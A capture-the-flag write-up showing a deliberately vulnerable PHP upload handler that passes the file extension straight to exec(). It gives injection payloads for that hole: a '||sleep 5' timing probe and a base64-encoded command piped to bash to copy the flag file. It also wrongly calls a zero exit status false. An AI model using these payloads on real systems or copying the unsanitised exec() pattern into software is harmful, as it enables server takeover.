Image Repo

Challenge

Application

This application is pretty simple, and has only two files: index.php and uploadHandler.php

Code Review

Looking at the code we can view these PHP codes

index.php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Image Repo</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <center>
        <div class="upload">
            <form id="upload_form" enctype="multipart/form-data" method="post" action="uploadHandler.php">
            <input type="file" name="fileToUpload" id="fileToUpload"><br>
            <input type="submit" value="Upload"><br>
            <progress id="progressBar" value="0" max="100" style="width:100%;"></progress>
            <h4 id="status">System Status: Working</h4>
            </form>
        </div>
    </center>
</body>
</html>
uploadHandler.php
<?php

ini_set('display_errors', 'Off');

$target_dir = "tmp/";
$filename = explode('.', basename($_FILES['fileToUpload']['name']));
$target_file = $target_dir . md5($filename[0] . time()) . '.' .$filename[1];

if ($_FILES["fileToUpload"]["size"] > 800000){
    header("/index.php");
    exit();
}

#cleanup
$filecount = count(glob('tmp/' . "*"));
if ($filecount >= 19 ) {
    exec('rm -rf tmp/*');
}

move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file);

#Método novo para verificação de arquivos maliciosos
exec('exiftool --ext php ' . $target_file, $output, $retval);

if ($retval == 1) {
    unlink($target_file);
    print_r("Tentativa de invasΓ£o detectada!!");
} else {
    exec('mv ' . $target_file . ' tmp');
    print_r("Sua foto foi devidamente armazenada no nosso servidor!");
}
?>

Vulnerable point

We can view below that verification of malicious file upload is made using ExifTool to check file extension. But the raw variable target_file is concatenated with a string in exec() function, resulting in a blind command injection.

$filename = explode('.', basename($_FILES['fileToUpload']['name']));
$target_file = $target_dir . md5($filename[0] . time()) . '.' .$filename[1];

[...]

#Método novo para verificação de arquivos maliciosos
exec('exiftool --ext php ' . $target_file, $output, $retval);

As you can see in the code snippet, to understand the injection point and the payload were be used is generated in 4 steps:

  • $target_dir: constant variable with the value /tmp

  • $filename: array of strings generated using explode function, that split the name of the file uploaded by dot. So, position

    • $filename[0]: filename, (string before the dot)

    • $filename[1]: extension (string after the dot)

  • md5($filename[0] + timestamp): md5 hash of the name of file + timestamp

  • $target_file: concatenation of two variables explained plus $filename[1], that is the injection point.

The exec() is a built-in function in PHP to execute OS commands, manipulating the extension of the file we can inject a command before the ExifTool command.

Exploitation

To execute another command at the same function call we can put a || to start a payload. This operator acts like a or condition in bash, so if the first command returns a 0 (False) the second command will be executed.

PoC

Injecting the payload before we can confirm that the POC is working because the server is wait 5 seconds to respond.

||sleep 5

The result in the code is the following:

 exiftool --ext php  ||sleep 5

To retrieve the flag we can get the content /flag and put it in the server directory, to simply GET the file using the website. To do that I used this final payload:

||echo Y2F0IC9mbGFnID4gc2VjcmV0X3JlZ25lX2ZsYWc=|base64 -d|bash

Last updated